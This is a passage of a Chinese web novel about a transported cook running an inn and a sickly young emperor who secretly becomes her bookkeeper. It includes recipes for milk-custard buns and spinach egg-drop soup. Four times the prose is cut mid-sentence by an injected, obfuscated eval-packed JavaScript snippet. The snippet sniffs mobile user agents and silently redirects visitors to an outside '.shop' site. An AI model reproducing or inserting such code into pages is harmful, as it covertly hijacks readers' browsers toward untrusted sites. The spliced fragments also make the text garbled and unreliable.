谢婉儿还想狡辩，谢青禾见她不死心，于是先发制人道：“草木灰捻开呈现灰白色且极易脱落，而此时饭食上这个颜色呈现青黑，这种颜色价格昂贵，提取成本较高且难以脱落，这可能是您理妆时脂粉掉落饭食上所导致的。” 谢青禾看向那未收起的妆奁盒子，螺子黛赫然摆放在那里，一番陈词有理有据。 谢婉儿顺着她的视线看到那支螺子黛，娇媚的模样瞬间变得惊慌起来，她结结巴巴道：“哈……想来是不小心、理妆时不小心掉落的……” 谢青禾嘴角几不可察的露出一声轻笑，这次谢婉儿认错如此迅速，当真是没见过，想必是被人抓住关键把柄，又闹出如此大的动静，怕丢了文王面子，连妾室都不收她。 为彻底消除众人的疑虑，谢青禾面向大家解释道：“大家可放心品尝，草木灰不是什么腌臜物，高温烧尽了杂秽，这灰里藏着碱气，过滤后可以用来去污、发面。” 在场的其他庖厨听后个个露出惊奇的样子。 谢青禾心中并未有何波动，这草木灰提纯碱的方法还是她曾偶然在《天工开物》上见到的。 在过去可能是了不得的处理方法，但在现代却是随处可见的事实。 人群中顿时响起阵阵掌声。 人们没想到青云楼的这位女庖厨不仅能做的一手好菜，还有这么多稀奇古怪的小知识。 登票时，毫无意外青云楼再次获胜。 ＊ 青云楼获得国子监餐供的消息不胫而走，有人羡慕，有人嫉妒。 但总归来说，生意比以往更加红火了。 寒来暑往，转眼来到深冬。 谢青禾自从开始给国子监供餐后，人人都夸手艺好，外加每周不重样的饭食将学子们养的日渐圆润 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125743|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这日，谢青禾给国子监送完餐后，远远看到一个穿着圆领深色襕衫，头戴同色巾帽的学子边跑边问道：“谢小娘子，明日做什么啊？” 谢青禾看着这阴沉沉的天，想必明日又是很寒冷。 这么冷的天，吃点可爱又暖和的甜食定当是相当好的。 她不经意呼出一口气，遇着冷空气，面前登时萦绕着白花花的一团。 这突然让她想到奶黄包，可可爱爱，白白胖胖，在这样寒冷的天气吃上这样一口，一定会很开心。 她笑意盈盈的说道：“明日便可知晓，且耐心等下吧。” 谢青禾在国子监每日进进出出，比学子们也大不了几岁，平时开开玩笑都是家常便饭了。 那学子看着谢青禾逐渐远去的背影，望眼欲穿道：“谢小娘子，我们可都等着呢，不要让我们失望哦！” 谢青禾莞尔一笑，这些孩子看着个个身高八尺，站起来俨然是个小大人，但言语间皆是些孩子习性，她背过身来冲他挥挥手。 如今她已到初级厨师80%了，再努努力到中级厨师就可以向系统借用任何食材了。 ＊ 皇宫内，寝殿中。 萧蘅散发横卧于床上。 因为天气寒冷，外加厌食症发作，他已多日未正常进食，导致他近日体力不佳，手脚绵软无力。 他也有三日未上朝。 此刻他挣扎着起身，认为自己不能这样荒废下去。 结果他刚起身就不小心摔倒在地。 近身太监见了，直呼哎呦，连忙跑了过来，“陛下，您夏季那段时间不还好好的吗？怎的来到冬季，这厌食之症来的如此气势汹汹呢？” 太监尖细的声音直吵的他耳朵疼，却又无端勾起几个月前的那些回忆。 只记得那段时间确实爱吃青云楼的饭食，好吃到难以忘怀的地步。 只是后来忙于朝政，暂时将此事抛之于脑后，结果就是厌食症卷土重来，甚至与过往相比更加严重。 他得想办法将身体养好，才能有精力将权利逐渐收回自己手中。 “皇上，该用晚膳了。”近身太监传唤道。 萧蘅看了一眼御膳房送来的饭食，一片青绿，内心止不住翻腾出怒意。 他的饭食被文王有意操控，说是为了他的身体着想，只能吃清淡的，毫无滋味可享。 萧蘅冷哼，不耐烦道：“退下。” 太监们面无表情的退了下去。 萧蘅知道这些太监的心思，不过是些文王的傀儡，无时无刻不在监视着他，这深宫之中处处是人，却又处处不是人。 他缓缓起身，找来一身常服，准备出宫换上。 宫外，集市上。 萧蘅已身着一身月牙色交领袍衫，衬得他身姿飘逸，腰间系着素色丝绦，脚上一双云锦靴，俨然一副书生模样。 他缓慢走到青云楼前，只见门口挂着一块木牌招子，上写“招账房先生一名，管吃住。" 萧蘅看着自己这身装扮，心道：恰合我意。 9. 做奶黄包 青云楼的幌子在门外飘摇着。 萧蘅走进来，在一方油墨桌前坐了下来，一小厮走了出来。 “客官，要点什么？” 萧蘅刚从那天寒地冻的外面走来，此刻需要一些食物暖暖身子。 “来碗酒。” “可用给您温酒炉子？” “不用。” 萧蘅只想快速商讨完关于账房一事就早些回去，于是未要吃食，只单点些酒温温身子。 谢青禾刚招呼完最后一桌，发现又来了一个书生模样的俊秀公子。 这样一个面容清秀、举止斯文的公子深夜喝酒，可见确实遇到烦心事了。 谢青禾最见不得旁人不爱惜自己的身子，于是走上前去，好声劝他。 “枉你是个读书人，怎的连酒烈却性寒这事都不知？若是冷酒下肚，可是要五脏六腑去暖的，这样岂不是大伤脾胃？”谢青禾走到萧蘅桌边说道。 萧蘅吃饭向来是御膳房端来什么就吃些什么，从未有人和他说些饮食不当对身体也曾有害的言论。 谢青禾看他面色浮白，身形削瘦，这时饮酒，恐夜里难受，于是她道：“莫要喝那冷酒了，你若不嫌弃，我这里刚做好一杯冬日养生新品，拿与你来尝尝鲜？” 那书生好似不爱言语的模样，对于她的建议也无异议，只是点头。 见状，谢青禾吩咐小厮将那碗牛奶红枣端过来。 若是几月前，她定不会用这等贵重食材来做汤，好在她拿下国子监的餐供权，每月都有五十两现银入账，店里每月流水大半都来源于此。 新品用到的牛奶就是给国子监供餐后剩下的。 这里既不属于游牧地区，又不是农间乡下，养牛是不可能的，再加上牛奶保鲜期很短，不适合长距离运输，不是一般人喝的起的，因此价格就会更加昂贵。 谢青禾看这人衣着华贵不像穷苦人家，实是能消费得起的，外加他身体看着确实欠佳，因此才推荐这道饮品。 小厮将那碗牛奶红枣汤放到萧蘅手侧。 温热的牛奶伴随着红枣的清香，散发出温暖的香气。 里面的红枣不仅可预防贫血，还可改善气血不足、面色苍白，牛奶有助于缓解焦虑，改善睡眠质量。 另外里面还加有姜片、枸杞。 生姜性温驱寒，枸杞滋阴补肾，二者结合可缓解疲劳，提升精力。 最后加上一点冰糖，最终呈现浓郁的焦糖色，这样饱和的颜色，单是看着就感觉内心会涌起暖意。 萧蘅端起杯盏一饮而尽，毫无不顺之意，只觉浑身舒畅，甜而不腻、奶香醇厚，实是佳品。 谢青禾看着萧蘅面上无虞，也无评价的意图，于是交代小厮照顾，自己准备去发面做明日的送往国子监的饭食。 “谢娘子请留步。”清亮的声音传来。 谢青禾泄了交力，好奇的看向那人。 这时她才发觉这人着实生得一副好皮囊，剑眉星目，鼻梁高挺，说话时眼底含笑，让人不忍拒绝半分。 刚才这人一只垂着头不言语，谢青禾还以为这人是哑巴呢？没想到是个模样俊俏的小书生。 想来刚才必是过于寒冷，没有旁的心情应和她吧，遂谢青禾心情愉悦道：“何事？” “适才看到门口招子上写着，贵店招账房先生，不知在下可否担当账房一职。”萧蘅淡淡道。 这几天来这里应招账房的多了，个个都说自己能胜任，可真到上手却处处皆是纰漏，或者自视甚高，看不上这食肆的碎账。 谢青禾看着他那简洁却又处处透露出华贵的锦缎长袍，笑道：“食肆的账不比别处齐整，公子您看着不像做过活的……” 萧蘅垂眸掩去眼底的不以为然，心里暗忖：朕自幼习算数、阅国库奏本，天下钱粮出入常常算得，区区食肆流水有何不可。 但面上却谦和道：“在下虽未管过食肆账目，但算数记账的功底扎实，账理皆是相通，无非进出存结四项，谢娘子若不放心，大可一试。” 谢青禾便将她这个月的账本拿来，又将算盘一应放到萧蘅面前。 萧蘅接过，随即盘算起来，不出一炷香便停了手，并指出了纰漏的地方。 “五日前青菜算重一遍，三日前账面与现银差十五文，应当是少加了一壶酒钱。” 谢青禾哑然，自己前几日点灯挑油算到半夜，原来是这个问题。 她清咳一声，心里暗想，这人确实有两把刷子，就是这里的条件不知这人能否接受，“试用一个月，包吃包住，月钱四两。” 萧蘅心中咯噔一下，这点银钱不够他一盏茶钱。 但想着自己目前处境，又只能吃下这儿的饭食，只能忍耐的回道：“可以，我家离这三五里的距离，便不在食肆居住了，只每日提供饭食便可。” 又因自己每日还要早朝，于是商量好每日只能下午做工。 阿鱼可以兼顾些登记之事，这人下午来就可核对记账，这样也可以，于是谢青禾便爽快的同意了，但有个条件就是月钱减半。 萧蘅哑然，为了能每日吃上这里的饭食，月钱减半他认了。 “不知如何称呼？” 萧蘅一怔，眼皮转动间道：“肖衍。” 二人就此约定好，明日下午便上工。 ＊ 次日。 天还蒙蒙黑的时候，谢青禾便起床准备做饭。 她带上攀缚，手脚麻利的将小麦粉放在陶盆中，为保证口感，又用细网略略的筛了一遍。 接着取来温水，加入少许耐心地揉着，身上也渐渐发汗，冬日的寒冷在此刻也不算得什么了。 直到面粉从松散到面絮，最后光滑柔韧后，取来湿帕子覆上，放到温热的灶台上慢慢醒发。 接着就可以做奶黄包里面的馅料了。 制馅需要用到鸭蛋黄，过去也称“鸭卵黄”，在宋代人们尤爱食用咸蛋，腌渍后的鸭蛋经年不腐，因而在冬日新鲜菜蔬欠缺时，咸鸭蛋便是百姓饭桌上的常客。 谢青禾剥壳除去壳膜后，将蛋黄取出放入瓷碗，接着用石杵碾磨成颗粒分明且无结块的细沙状，放置一边，稍后备用。 另取来牛乳，放入瓦罐中小火慢熬，并不停搅动，等到水分熬尽有乳脂浮起后，盛入瓷碗中冷却成膏状。 将白糖、糯米粉、鸭蛋黄、乳酪放入盆中拌匀，再加入一勺豆油增加馅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125744|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料的润度，避免干涩结块。 拌好后的馅料色泽金黄似琥珀，空气中能隐约嗅到清甜的奶香。 “阿姊，什么味道啊，好香啊。”阿鱼睡眼朦胧的问道。 谢青禾笑了笑，“奶黄包，一会做好了你尝尝。” 阿鱼顿时不困了，开心的点头，“阿姊我还闻到了麦香味，想必这灶台上的面应该发好了”。 谢青禾看到此时陶盆中的面团已发至两倍大小，面盆里挤的满满当当。 她走过来，白净的手指扯一下面团，里面便可看出有许多蜂窝状的小孔，麦香的味道便从孔中飘散出来。 这样面团就发好了。 谢青禾净手后，将面团搓成长条，接着在揪成小剂子，随后用掌心将其一个个按扁，此时还是太厚，需要用面杖擀成约莫一寸厚的面皮口感会更好。 擀好后的面皮十分圆润，谢青禾托于手心，舀起一勺刚才调好的馅料放在中间，接着指尖收拢，两手将其在手心中不停的滚动，直到表面光滑紧实，之后再刚上一层面粉，放在案板上。 就这样一个个白白胖胖的小包子被谢青禾慢慢的揉出来。 晨曦微光渐渐从东方升起，青灰的屋顶上渐渐飘散起炊烟，在冬日寒冷的清晨中，显得短促且苍白。 谢青禾已经搓好最后一个奶黄包。 阿鱼将那些圆润白嫩似鸡蛋大小的包子逐次摆入蒸笼中。 随着灶火的点燃，后厨渐渐被蒸汽弥漫，屋内温度宛如阳春时节，最是适宜人们体表的温度。 谢青禾来到的这个朝代好似历史上的宋朝，包括都城也类似当时的汴梁城。 国子监的取暖并非随意开启，而是遵循朝廷颁定的“赐碳”时令，在每年农历十月初一便正式供暖。当下马上便要冬至，那学堂中必定是供暖的。 但夫子规定，为了避免学子因为暖和而出现昏睡的情况，故而屋内温度并不舒适。 况且这些学子卯时须起床晨读，一个钟头下来早已口舌僵硬，手脚更是似冰坨般寒冷而无知觉。 此时他们个个都盼着晨读结束后，去吃谢小娘子做的饭食，好暖和暖和身子。 这时外面响起那熟悉的马车碾压石子路的哒哒声，并且声音渐渐变大，众人便知是那谢小娘子来了。 登时个个都坐不住了，口中虽仍念着诗书经文，眼神却飘忽不止，脑海中更是不断闪出各式菜品。 终于挨到散学，众人似洪水出闸般涌向食堂。 学子来到各自桌前，掰开那小包子，里面黄灿灿的馅料缓缓淌出，直勾的人心痒。 尝上一口后，口中蛋黄的沙润与牛奶的醇厚相融，冬日吃上这一口，简直甜到心坎。 “这般好滋味！”学子们刚才被冻的虚白的脸此时也有了点血色。 连那国子监的老厨赵老头忍不住赞叹道：“这面皮软糯白净瓷实，馅料沙糯绵密，这小包子可真是软似云，甜似蜜，暖心暖胃当真绝妙！” 谢青禾同他谦让一番后，便与阿鱼一同离去。 午后两时，萧蘅准时出现在青云楼柜台前。 谢青禾午时小憩片刻后，掀帘至前厅时，恰与这小书生四目相对。 10. 脆皮账房 萧蘅正盘录今日的账本，一抬头和谢青禾四目相对。 萧蘅先一步错开目光。 反倒是谢青禾面上有些不自在了。 究其原因无非是谢青禾一上午累花了眼，睡醒后，一睁眼又出现个这么如玉般的清雅公子，好似白鹤般垂首于柜台前。 再对上他清亮的目光，登时脑袋清醒大半。 谢青禾趁自己打哈欠的功夫，赶忙收拾好自己的心绪，“很准时。” 萧蘅面上浅笑，表示应下。 他想着自己是初次做工，况且自己这脾胃又只吃得这里的饭食，总要给谢青禾个好印象，把这个饭碗给端稳了。 萧蘅抬手用衣袖挡住半边脸，缓解一下那笑僵的脸，他脾气可不是这样好相与的。 昨夜回去已至三更，宫中守卫早已半梦半醒，他也因而顺利回到宫殿。 萧蘅虽然身为一国之君，但有名无实，朝政被文王掌控，自己不得已要处处都要小心警觉。 虽说文王是萧蘅的亲叔，父皇的弟弟，但他一直野心不死，想要夺取政权。 萧蘅白日里那些善良和煦完全是假象，在宫中他可是半点耐性都没有。 宫人但凡出一点错就要遣散。 因而宫中每月都要招选宫人。 百姓对其毁誉参半，毕竟贫苦人家多，他这样大量换选宫人，他们有机会进宫当值，也是给他们一条生路。 他继续缓缓拨动手中的桃木算珠。 “这盘包子与你吃吧。”谢青禾将锅中那剩下的奶黄包端来。 今早御膳房端来的紫菜蛋花汤，菜少汤多，稀水一般，包子里的馅料似牛筋般难嚼。 萧蘅将御膳房的厨师换了一批又一批，每一批都这样，他曾扬言若是饭食再不合口味就将其都杀掉。 次日那厨师端盘的手颤巍巍的捧上前来，仍是同样的难吃。 萧蘅便知他们背后有人指使，若不奉命行事怕是性命不保。 罢了，萧蘅主动让步，他不愿戕害无辜，自此后不在折腾御膳房的那些老骨头。 御膳房的膳食实在难以下咽，饥饿难耐时可对付几口，真要品尝起来可真是味同嚼蜡。 因而看着同御膳房今早一样的包子，他有点不敢轻易尝试。 他迟迟不肯动手，只应道：“算完今日账本在品尝罢。” 谢青禾还以为是这小公子腼腆，不好当着主家直接接过来吃，心里认为是个踏实的郎君，便笑笑离开了。 直到黄昏时刻，店内清静下来，只剩几个散客在外闲聊。 此时，萧蘅已将今日账本登录核实完毕。 一下午，铺子里人来人往，好不热闹，竟连得水都未曾喝，外加今晨未曾吃多少，现下腹中早已饥肠辘辘。 他走到后厨，看那谢小娘子正淘米做粥，想必今日晚饭还未做好。 萧蘅再次返回前厅。 冬日黄昏时辰天便已黑透，萧蘅不想太晚回去，以免节外生枝。 于是他看着下午桌上那碟包子，心中想着：热热吃些，早点回去。 他将那碟包子端到后厨。 谢青禾见那郎君竟如此生分，奶黄包一个未动，这种不争让的性子在外面可是要吃亏的，看着他衣着洁净又华贵的，莫不是哪个商户家的养子？ 登时心中一酸，她想起原主只是一个庶女在家中就备受辱骂欺凌，处处容不得她，他若真是某个商户家的养子，那可真是比庶女还要遭罪啊。 过去庶女虽不如嫡出，但好歹是一脉宗亲，也可分的一些田产商铺，但养子那可全凭主家态度了，终不如这血亲来的正统。 看这小郎君处处小心谨慎的态度，想必是不愿暴露自己情况的。 谢青禾越想越难受，于是当下便开口道：“小郎君你莫要跟我客气，缺衣少食都可同我说，若是欠缺银钱可同我借。” 谢青禾一番话，说得感人肺腑，这边萧蘅有点看不懂了。 他低头看看自己今日穿的这身玄色直裰，寻常百姓家大多的穿着，莫不是自己装过了，让人误以为他很缺钱？ 可这身料子可是一匹二十两的蜀锦，堪堪够今日店铺流水。 萧蘅心中不悦，居然小看他！ 但嘴上道：“好的。” 继而萧蘅将手中那碟包子放入蒸笼中，准备热热吃完就回去。 他掀开锅盖，小心翼翼的放入笼屉上，但却不妨那热气一下熏到他的手，顿时那白嫩的手指被烫了几个水泡。 萧蘅哪里做过后厨之事，他是万分不熟悉的。 谢青禾也没想到，这小郎君居然这样的小事都能将手指烫伤。 她赶忙领起萧蘅的衣袖，舀起一瓢冷水，将那手指放入其中，先暂且应付下。 萧蘅这下老实了，他也不热那碟包子了，只抱着那碗冷水坐在前堂，耐心等待晚饭。 ＊ 谢青禾这边赶忙做晚膳。 她在锅中热油，后取来两枚咸鸭蛋，蛋白切成颗粒状碎屑，蛋黄徒手捏散，放入锅中煸炒出香味，接着加入一碗水。 今晨，谢青禾便将米淘好，连带着水一同放在后院空地上，这冰天冻地的时节，现已连带着水一起冻成冰块。 这样的冰块放入沸水中不出一盏茶的时间，米粒就被熬煮开花，浓白黏糊的汤汁最是滋养脾胃。 谢青禾在几日前就已被评定为【中级厨师】，目前进度是30%。 成为中级厨师最大的好处就是可以任意取用各式食材。 她向系统借了几根火腿，将火腿切片后，放入那鹅黄颜色的汤粥中。 生菜又被称为“千金菜”，听闻这种蔬菜是隋朝时从“呙国”传入我国的，因当时获取菜种代价高昂，故名得名。 谢青禾将香蕈切丁，千金菜切段后一同放入锅内。 随后不停搅拌防止粘锅，间隙撒入胡椒粉、香油、盐来调味便可。 那奶黄包也一同热了，让阿鱼一并咸蛋粥端至前堂。 萧蘅许是疲倦，梦寐间隐约闻到饭香，模模糊糊的睁开了眼。 只见面前粥饭温热氤氲，包子白糯，虽是平常饭食，但萧蘅很久没有这样同人吃个热乎饭了。 他直起身，拿起一个包子就吃，入口就是暄软咸香，在喝上一口粥饭，顿时口中感受到米香清甜、香蕈弹牙、肉块紧实、千金叶的爽脆，一碗落肚，顿时肺腑不似往常那般虚凉。 只是身体好似暖了片刻，可不久又有些凉意。 阿鱼又给他盛了一碗。 萧蘅想自己定是适才不小心睡着，被那寒风吹透了身体，多喝点饭就好了。 可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125745|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时喝多了居然有点身体发抖，额头似有千斤重。 恍惚间好似又回到了六岁那年。 那年正是酷暑，父皇母后打算去鄞州避暑山庄停留数月。 他自是很高兴，幼时贪玩好动、聪慧机辩、口齿伶俐，好容易有这样的机会出去玩，自是开心极了。 回到寝宫中就开始收拾他的小包袱，准备几日后一同带去鄞州。 到达鄞州的当天夜晚，也是这样的时辰。 “皇上皇后该用晚膳了。”太监尖细的嗓音那日听来总觉有些促狭。 萧蘅因一时新鲜，于是自己同一侍卫在宫殿的柱子旁玩耍。 他在草地上摘了一朵朵颜色各异的笑话，撺在手中就是一束炸开的花束。 萧蘅十分兴奋的跑回去准备送给父皇母后。 刚准备回去，就听到刚才那个传饭太监阴阳怪气的道：“这老皇帝还是心不够狠，看看那文王多杀伐果断……” 那两个太监伸手一推，两具明黄在深色的山谷中好似一道绚烂的烟花，短暂而又清晰。 后面的话萧蘅再也没听到，他看到父皇母后被人推入山谷，惊吓之余他昏倒了。 半年内他低烧不止，浑浑噩噩间总能想起那夜的画面。 “阿姊，他的额头很烫！”阿鱼惊呼。 谢青禾伸手探向那人额头，果真一片滚烫，脸颊还泛起一片不正常的红晕。 果真是文弱书生，谢青禾内心想道。 身体本来就弱，怎的半点都不注意自己身体？ 店门大敞便趴在桌上酣睡，手指还泡在冰冷的水盆中，这样的天，能不着凉吗？ 谢青禾吩咐阿鱼将他一同抬到后院厢房，这间厢房本是特意为账房先生准备的，她认为读书人都很金贵，不比他们这些粗使厨子，故而准备的妥帖些。 谢青禾一直都很敬重读书人，自己在现世是留守儿童，爷爷奶奶一直说等到她长大考上大学后，她的爸妈就来接她了。 但她知道父母是在工地上出事故，双双离世，爷爷奶奶的说辞不过是让她心中好受、不受旁人欺侮罢了。 那该死的包工头看她家只有老人小孩，当时工地也未曾安装监控，因此赔偿款一直不给她们。 家中一下断了收支来源，爷爷奶奶白发人送黑发人，几年间不觉苍老了许多。 谢青禾便决心在外挣钱养爷爷奶奶！ 她现世的求学就止于初中了。 谢青禾摇摇头，再次回忆过往的不甘与痛苦是一种残忍。 她赶忙拍拍脸颊，避免自己再次陷入痛苦的深渊。 接着吩咐阿鱼用酒精给萧蘅擦拭额头降温。 “阿姊，不行啊，怎的他身上越来越烫啊？” 谢青禾站在屏风后，咬着手指道：“阿鱼你去取一两银子请曹大夫。” 曹大夫出自世代杏林之家，祖上曾效力于先皇，包括曹大夫也曾为当今圣上诊治，只是后来不知是何原因，竟要出宫，说是“医者仁心，当以救济苍生为己任。” 因得诊费有些贵，所以百姓平日里寻常小病大多去别个寻常医馆诊治。 “那个城东济安堂的曹御医吗？”阿鱼道。 谢青禾点头。 此时，床榻上那人干裂的嘴唇缓缓吐出几个字，“不可……” 11. 菠菜蛋花汤 萧蘅几乎一日滴水未进，刚才好容易喝了点粥，却听得姐弟二人要去寻那御医就诊，一下气急攻心将那点饭食吐了个干净。 谢青禾看着那床刚换洗过的被子，现已沾满污秽，顿时感觉一头黑线，转头与阿鱼无语对望。 刚才的话二人未听得分明，只当他病中胡话，再加上刚才他又“哇哇”乱吐了一番，二人此时都感觉这账房先生病的不轻。 阿鱼适才还不愿请那诊金如此昂贵的曹大夫，见此状况，他认为萧蘅的病情耽误不得，一溜烟跑去前厅柜台取出一两现银，直奔城东济安堂寻曹御医。 萧蘅此时两眼昏沉，脑中似有迷雾，混沌不堪完全不知眼前境况。 谢青禾看着一塌糊涂的衾单，那郎君身上也是一片脏乱，这样人家御医怎来查看，只得将这里先收拾干净。 衾单好说，但床上那人的衣裳，她一个未出阁的女子如何换得？ 就算她处于同情替他换衣，但现下店中无人，对方虽身材削瘦，但毕竟是成年男子，自己一人如何搬挪的动他。 这时将近已时十时，过去人们讲究日出而作日入而息，没有现世所谓的“卷”，这个时辰大家早已落锁闭户了，哪里还有人夜间出来闲逛。 若说这夜晚还出来活动做正经活计的，怕是只有打更人了。 谢青禾思忖间便到了已时十刻，钱庄巷里传来悠悠的梆子声。 谢青禾的门面分为前厅、后院，前院平日迎来送往做生意所用，后院开了一个小门，门外是一条青石小巷与主街相通，以便平日生活出入所需。 她推开门，打更人正从巷内缓缓走过。 谢青禾喊住更夫，离近看那人约莫也有五十光景，在古代这个平均寿命只有四十多的时代，确实算是长寿的了。 如此年龄的老人不在家颐养天年，反而在这冬夜裹件面絮外露的夹袄在此打更，着实辛苦了些。 这么大年龄的更夫，一般谯楼已不在征用，万一出些事故，谁也不想担责。 想来他可能也是平日夜里出来做些零活，赚点零钱补贴家用。 深冬半夜，怪可怜的，谢青禾不想占别人的便宜，喊住那老更夫后，道：“小女这里有些活计做不得，您可愿帮助一二？” 话毕，她从袖中取出五十文铜板，差不多是他今日做工的两倍。 老伯本就是夜间出来挣些散钱，见此情形便爽快的接下铜板答应了，进屋后将萧蘅那身脏衣物尽数换下。 “小娘子，你这夫君看面相非池中物啊，真真是好福气呦……” 谢青禾还没来得及反驳，那更夫便已走远，后面的言语也未听的真切。 她内心只道好笑，她的夫君定是做什么都有模有样的壮汉。 这人虽然样貌极好，但他却肩不能扛手不能提，一看就是常常缠绵病榻的病弱书生，她不喜欢。 谢青禾回屋，拾起那换下的衾单，心中不禁喊苦，这样冰冷的天还要洗这大件卧具，谁家老板做的有她这么善心？ 当下便敲定，什么试用不试用的，她要让这小郎君在她店里卖命到八十！ “阿姊，曹大夫请来了！”阿鱼大喊一声，突然打断谢青禾的幻想。 阿鱼在前面气喘吁吁的带路，口中还不断催促着老者“快些、再快些”。 后面的老者面上也不急，提着药箱不急不缓的跟着，看起来挺和蔼的。 谢青禾赶忙走上前去接过药箱，进屋后又沏了一碗热茶给大夫。 “病者何在啊？”曹大夫抿了一口茶水道。 阿鱼等不及，一边轻拉着曹大夫的衣袖，一边指着床榻上那面色苍白的萧蘅，“这里，这里。” 曹大夫就着昏黄的烛光，依稀看到床榻之上是位少年，眉宇间微蹙着，外加那双标志的丹凤眼，当真与那年六岁的萧蘅皇子有些相似。 那位小皇子就是当今的圣上，当年小皇子失去双亲后，就是他拼命将其从鬼门关拉了回来。 命是救回来了，但落下个厌食之症。 这厌食症可分为先天脾胃虚弱、受纳无权，也有后天之症，如情志失调导致的不思饮食。 毕竟脾胃是情绪器官，精神过度紧张、压力过大时，就会导致胃肠功能紊乱异常。 小皇子自幼身体强健，脾胃问题断然不是先天之本，只有经历了重大变故，精神压力过大导致的。 曹大夫一想到当年小皇子可能知道双亲被人陷害，小小年纪却要承受如此压力，导致短短半年从以前吗天性活泼到后来的性情孤僻且缠绵病榻，平日里温和的面容顿时愁云密布，忍不住摇头。 姐弟站在一旁不明就里，见此情形心中俱是一惊，猜测这郎君莫不是有什么厉害的旧疾被这次风寒给带出来了？ 谢青禾赶忙上前小心翼翼地询问，“可有性命之忧？” “无妨，不过是一时风寒，我开五日汤药便可痊愈。”曹大夫回过神来道。 姐弟二人顿时松了一口气。 又开了几副茱萸敷贴，类似于现在的退热贴，交代姐弟二人将其敷于双脚涌泉穴，可快速将今晚的烧热暂且退个七八成，不出意外明日傍晚便可醒来。 曹大夫走前想起那熟悉的面容，当下心中不忍，“明日我在过来复诊，不收诊金。” 谢青禾登时觉得这御医水平、素质就是绝佳，旁人万不能比肩的。 她从济安堂抓完药后，千恩万谢的告别了曹御医，回到了青云楼。 虽已至夜半，但仍熬药汤药，给那郎君喂下才去歇息。 ＊ 次日清晨，谢青禾起的比平日稍晚半刻，也不过卯时七刻。 洗漱后，顶着一双黑眼圈就去隔壁厢房看那郎君状况如何。 她缓步来到床榻前，看那郎君面容不似昨晚那样绯红，昨日惨白的嘴唇也有些颜色，但眉宇间仍蹙着，想来还是不舒服。 谢青禾将手放在嘴前哈气，手指处于常温后，放于萧蘅额上探温。 不料，床榻上那人羽睫颤动几下后，眼皮渐渐掀开一条缝隙。 谢青禾赶忙将手收回，背过身去问道：“你现在如何？” 床榻上那人自觉浑身酸软，动弹不得，只得沉默。 谢青禾慢慢转头看着他，“饿吗？” 萧蘅大病一场后更觉腹中空空，他侧头看向谢青禾，因嗓子干涩只发出一声嘶哑的声音，“需要。” 谢青禾向他摆手示意躺好。 来到后厨，回想刚才自己的动作，越想越懊悔。 自己适才心虚什么？又没做亏心事，只是好心帮他探测体温而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125746|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已。 谢青禾本着纠结就是折磨自己，折磨自己不如逼疯他人的态度，果断终止内耗。 发烧时身体会流失大量水分、代谢加快，从而体内营养消耗增快，退烧后会感觉很饿，因此生病时还是要吃些清淡的食物来补身体。 苏大文豪关于菠菜曾有一句诗，“北方苦寒今未已，雪底波棱如铁甲。” 这里的“波棱”说得就是现如今的菠菜。 贞观年间，得益于丝路畅通，外贸交易空前繁荣，波斯使者将其作为贡品先给了太宗皇帝。 因而菠菜的别名“波棱”是音译过来的，菠菜属于实打实的舶来品。 寒冬时节，因它极其耐寒，是冬日田野乡间为数不多的绿蔬，所以是岁馀时百姓餐桌上的常客。 竹篾中还剩有昨日才买来的菠菜，天气严寒，水分并未丢失，此刻还新鲜支棱着。 谢青禾用清水淘洗去泥沙，菠菜中含有大量草酸，草酸会对胃肠不适，因此她在切段后便进行焯水，用漏勺过几次沸水即可，保证菜叶仍然挺实，若焯水成蔫蔫蹋蹋的样子，口感就欠佳了。 将锅中焯过菠菜的水倒掉后，取出两枚鸡蛋在碗中打散，在另一只碗中放入面粉加水搅拌直至没有面块。 锅中再次放入冷水，沸腾后加入盐调味，防止粘锅便转圈倒入水淀粉。 搅拌均匀后的汤水呈乳白色，再用筷子在其中顺时针转出漩涡后，趁机放入蛋液。 瞬间锅中层层叠叠浮起一片片金色的蛋花，嫩而不散。 